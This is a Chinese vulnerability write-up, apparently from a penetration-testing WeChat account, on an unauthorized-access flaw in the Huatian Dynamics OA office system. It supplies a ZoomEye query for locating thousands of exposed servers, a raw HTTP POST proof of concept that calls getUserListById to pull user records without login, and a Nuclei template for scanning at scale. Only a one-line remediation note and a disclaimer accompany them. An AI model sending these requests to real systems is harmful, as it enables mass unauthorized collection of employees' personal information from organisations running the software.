0x01 产品简介
华天动力协同办公系统将先进的管理思想、管理模式和软件技术、网络技术相结合，为用户提供了低成本、高效能的协同办公和管理平台。睿智的管理者通过使用华天动力协同办公平台，在加强规范工作流程、强化团队执行、推动精细管理、促进营业增长等工作中取得了良好的成效。华天动力OA存在未授权访问漏洞，攻击者可以读取用户信息，读取敏感信息等，利用 ZoomEye搜索引擎发现影响资产9000+。
声明
请自行搭建环境进行漏洞测试，该公众号或作者星球分享的工具、项目、漏洞仅供安全研究与学习之用请勿用于非法行为，如用于其他用途，由使用者承担全部法律及连带责任，与作者和本公众号无关。
TIPS: 末尾领取资料及福利-批量检测脚本在末尾
0x02 漏洞描述
未授权访问漏洞是一个在企业内部非常常见的问题,这种问题通常都是由于安全配置不当、认证页面存在缺陷,或者压根就没有认证导致的。
0x03 ZoomEye语法
app:"华天动力 OA"
0x04 漏洞复现
POC
POST /OAapp/bfapp/buffalo/hrApplicationFormService HTTP/1.1Host: {}Content-Length: 283Pragma: no-cacheAccept: application/json, text/plain, */*Cache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Content-Type: text/xml;charset=utf-8Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=E23F65531C015A84CE70FBBEAFDA5296Connection: close<buffalo-call><method>getUserListById</method><boolean>1</boolean><string></string><string>2</string><string></string><string></string><boolean>1</boolean><boolean>1</boolean></buffalo-call>
id: huatian-OA-information-disclosureinfo:name: huatian-OA-information-disclosureauthor: HackTwoseverity: highhttp:- raw:- |POST /OAapp/bfapp/buffalo/hrApplicationFormService HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.9Cache-Control: no-cacheConnection: closeContent-Type: text/xml;charset=utf-8<buffalo-call><method>getUserListById</method><boolean>1</boolean><string></string><string>2</string><string></string><string></string><boolean>1</boolean><boolean>1</boolean></buffalo-call>matchers-condition: andmatchers:- type: dsldsl:- 'len(body)>1000'
0x05 修复建议
鉴权，对接口进行用户鉴权
0x06
原文始发于微信公众号（渗透安全HackTwo）：华天动力OA办公系统存在未授权访问漏洞(新)-漏洞挖掘
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论